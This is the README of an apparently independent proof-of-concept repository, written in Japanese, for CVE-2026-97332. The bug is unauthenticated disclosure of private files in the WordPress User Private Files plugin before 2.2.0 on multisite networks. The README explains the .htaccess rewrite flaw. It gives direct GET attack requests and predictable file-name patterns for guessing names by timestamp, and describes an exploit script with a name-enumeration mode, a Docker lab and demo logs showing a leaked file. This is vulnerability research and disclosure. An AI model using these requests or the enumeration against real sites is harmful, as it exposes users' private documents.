
CVE-2026-97332 の独立した PoC と再現可能なラボ — WordPress Multisite における User Private Files < 2.2.0 の未認証プライベートファイル開示。
[!NOTE] このリポジトリは CVE-2026-97332 の独立した再現および概念実証 (Proof of Concept) です。
脆弱性の原発見: Akshat Parikh (SN1PER)。 CNA / アドバイザリ: WPScan。 独立した PoC および再現: Kolya080808。
WordPress プラグイン User Private Files (wp.org スラッグ user-private-files) の 2.2.0 より前のバージョンにおいて、マルチサイトインストール上で他ユーザーのプライベートファイルが未認証で開示される脆弱性です。このプラグインは各ユーザーのプライベート文書を平文のアップロードツリー内に保存し、ルートの .htaccess に追記された単一の RewriteRule で保護しています。このルールはファイルリクエストを PHP のアクセスチェックへルーティングします。マルチサイトネットワーク上ではこのルールが決して到達されません: 単純な GET リクエスト — Cookie なし、ヘッダーなし、ログインなし — が他ユーザーのプライベートファイルを静的コンテンツとして返します。アクセス制御の不備、CWE-284、CVSS 3.1 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)。
このリポジトリには、動作する依存関係不要の Python エクスプロイトと、攻撃をエンドツーエンドで再現するための 2 コンテナ構成の Docker ラボ (脆弱な 2.1.9 と修正済みの 2.2.0、いずれも WordPress マルチサイト) が含まれています。
[!CAUTION] この資料は認可されたセキュリティ研究および防御的テストのみを目的として提供されています (末尾の免責事項を参照)。書面による許可なく、所有または運用していないシステムを攻撃することは違法です。
このプラグインはプライベートファイルを、フラットなサイトごとのアップロードサブディレクトリ — wp-content/uploads/upf-docs/ (メインサイト) および wp-content/uploads/sites/N/upf-docs/ (サブサイト N) — に通常の添付ファイルとして保存しており、ユーザーごとの分離はありません。アクセス制御はディレクトリ上にはなく、PHP (dl-file.php: 匿名ユーザーには 403、その後 author/許可リストのチェック) に存在し、プラグイン有効化時にルートの .htaccess へ出力されるリライトを通じてのみ到達されます:
# appended by 2.1.9 (upvf_actdeact.php), AFTER the WordPress block
RewriteRule ^wp-content/uploads/upf-docs/(.*)$ https://site/?file=$1 [QSA,L]
マルチサイトでは、独立した2つの理由により、これは決して発火しません:
ネットワークの .htaccess が既存ファイルを先にショートサーキットする。 WordPress
マルチサイトは独自のルールセットをルートの .htaccess に書き込みます:
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
物理的に存在するファイルへのリクエストマッピングは、その場で書き換えを終了します — Apache はそれを静的コンテンツとして配信し、mod_rewrite はファイル末尾にあるプラグインのブロックに決して到達しません。(シングルサイトの WordPress は否定条件 !-f/!-d を使用するため、同じプラグインがそこでは動作します。)これはすでにネットワークのメインサイトのファイルを露出させています。
サブサイトのパスはパターンにまったく一致しません。 マルチサイトでは各サイトが独自のアップロードを持ちます — wp-content/uploads/sites/N/…、さらにサブディレクトリネットワークでは /siteN/ という URL プレフィックス — 一方、ルールはメインサイトのベース URL から ^wp-content/uploads/upf-docs/ にハードコードされています。ネットワークの内部リライトが /siteN/ プレフィックスを除去した後でも、sites/N/ セグメントは依然として一致しません。
したがって、あらゆるマルチサイトネットワーク(サブディレクトリとサブドメインの両方)において、未認証の攻撃者がプライベートファイルを直接取得できます:
GET /wp-content/uploads/upf-docs/victim.pdf HTTP/1.1 (main site)
GET /site2/wp-content/uploads/sites/2/upf-docs/victim.pdf HTTP/1.1 (subsite)
レスポンスはファイル本体を伴う 200 です — Apache が uploads/ から直接配信しており、プラグインのアクセスチェックは一切実行されません。
URL に秘密の要素はありません。プラグインは所有者の数値ユーザー ID とアップロード時の Unix 秒から名前を生成します:
| 生成元 (2.1.9) | ディスク上の名前 |
|---|---|
モダン UI、inc/functions-file.php:73-77 | usr{ID}_{unixtime}_{original} |
クラシックテンプレート、inc/classic-user-functions.php | user_{ID}_doc_{unixtime}.{ext} |
マルチサイトネットワーク上のユーザー ID は、共有された単一の wp_users テーブルからの小さな連番整数であるため、攻撃者に必要なのはおおよそのアップロード時刻(±2 分の範囲で約 240 リクエスト)と、元のファイル名またはその拡張子だけです。衝突サフィックス(-1、-2)は存在しますが稀です。
バージョン 2.2.0 では、ルートファイルの書き換えがフォルダレベルの upf-docs/.htaccess に置き換えられました — RewriteRule ^(.*)$ {home}/?file=$1 [R=302,QSA,L]、さらに mod_rewrite が存在しない場合は Require all denied — これが admin_init のたびに(サブサイトごとに自己修復的に)再作成されます。ディレクトリ単位のルールは URL プレフィックスに関係なく upf-docs/ 配下の任意の物理パスに対して発火するため、直接 GET はアクセスチェックへの 302 となり、匿名ユーザーには 403 となります。ファイルは移動されず、傍受の仕組みだけが変わります。この 302 対静的配信の違いが、エクスプロイトで動作検出器として使われる理由でもあります。
.htaccess を読み込み、有効化時にファイルが書き込み可能であった限り、ルートルールによって保護されます(nginx ではベンダーによる手動書き換えが必要 — プラグインの readme を参照)。exploit.py は純粋な Python 3 標準ライブラリ(http.client)のみを使用し、リダイレクトを追跡せず、Cookie も送信しません:
GET /wp-content/plugins/user-private-files/readme.txt を実行し、Stable tag: を解析します。
< 2.2.0 → 続行;>= 2.2.0 → 赤色の NOT VULNERABLE - plugin 2.2.0+ (patched) ボックスを表示し、終了コード 6。readme.txt が読み取れない場合は、存在しない upf-docs/ 名に対する動作プローブ(302 = 書き換えが有効、404 = 静的配信)が表示され、実行は継続します(--skip-check でこのステップ全体を無効化)。{base}/wp-content/uploads/upf-docs/{file}、または --site site2 --site-id 2 を指定した場合は
{base}/site2/wp-content/uploads/sites/2/upf-docs/{file}。GET、Cookie なし、Authorization なし。200 → * LEAKED とファイルの先頭行を証拠として表示、終了コード 0;302 → 「アクセスチェックへリダイレクト — 脆弱ではない / 修正済み」、終了コード 1;404 → 「ファイルが見つかりません(名前が違う?)」 — --guess を試す、終了コード 1。--guess モードは固定の 1 つの名前ではなく、予測可能な名前パターンを列挙します:--user-id 2 --orig-name "Invoice 2026.pdf" --around <unixtime> --window 120 は、ウィンドウ内の毎秒について usr2_{t}_Invoice-2026.pdf と
user_2_doc_{t}.pdf を生成し、200 を返すすべての名前を読み取ります。
終了コード:0 ファイルが開示された · 1 開示されなかった(404 / 302 / 403) ·
6 脆弱ではない(バージョンチェック) · 4 ネットワークエラー。
exploit.py Python exploit (stdlib only, zero dependencies)
demo.sh end-to-end demo: leak on 2.1.9, refusal on 2.2.0
README.md this file
logs/ actual runs of demo.sh (vulnerable and patched)
lab/ docker lab: 2 x WordPress multisite + MariaDB
(wp-vuln: port 8080, plugin 2.1.9; wp-control: port 8081, plugin 2.2.0)
cd stand-wp && docker compose up -d # vulnerable 8080 + control 8081
cd ../poc-upf && ./demo.sh # full run, logs into logs/
デモは順に、readme.txt から両方のスタンドの Stable tag を出力します。次に、認証情報なしで user1 のプライベートファイルを漏洩させる 2.1.9(ポート 8080)に対する攻撃、バージョンチェックが拒否する(終了コード 6)2.2.0(ポート 8081)に対する同じ攻撃、そして --skip-check を付けた場合、アクセスチェックがパスに戻っていることを証明する生の 302 -> /?file=... リダイレクトを出力します。
[1/4] Fingerprinting the plugin via readme.txt ........ VULNERABLE (2.1.9)
> user-private-files readme.txt reports Stable tag: 2.1.9 (< 2.2.0) - affected on multisite
[2/4] Building the direct-download URL ................................ OK
> http://localhost:8080/wp-content/uploads/upf-docs/victim-secret.txt
[3/4] Fetching the file with no authentication .................... 200 OK
[4/4] Verdict ..................................................... LEAKED
* LEAKED victim-secret.txt (56 bytes, text/plain)
Proof - first lines of the private file:
TOPSECRET: private file of user1 (CVE-2026-97332 stand)
exit code 0
[1/4] Fingerprinting the plugin via readme.txt ............ NOT VULNERABLE
> user-private-files readme.txt reports Stable tag: 2.2.0 (patched, >= 2.2.0)
> 2.2.0 moved the rewrite into upf-docs/.htaccess - direct GETs can no longer bypass the access check
NOT VULNERABLE - plugin 2.2.0+ (patched)
exit code 6
and --skip-check を指定した場合(振る舞い検出器):
[3/4] Fetching the file with no authentication .............. 302 redirect
[4/4] Verdict .................................................... REFUSED
> direct GET was rewritten to http://localhost:8081/?file=victim-secret.txt (access check)
exit code 1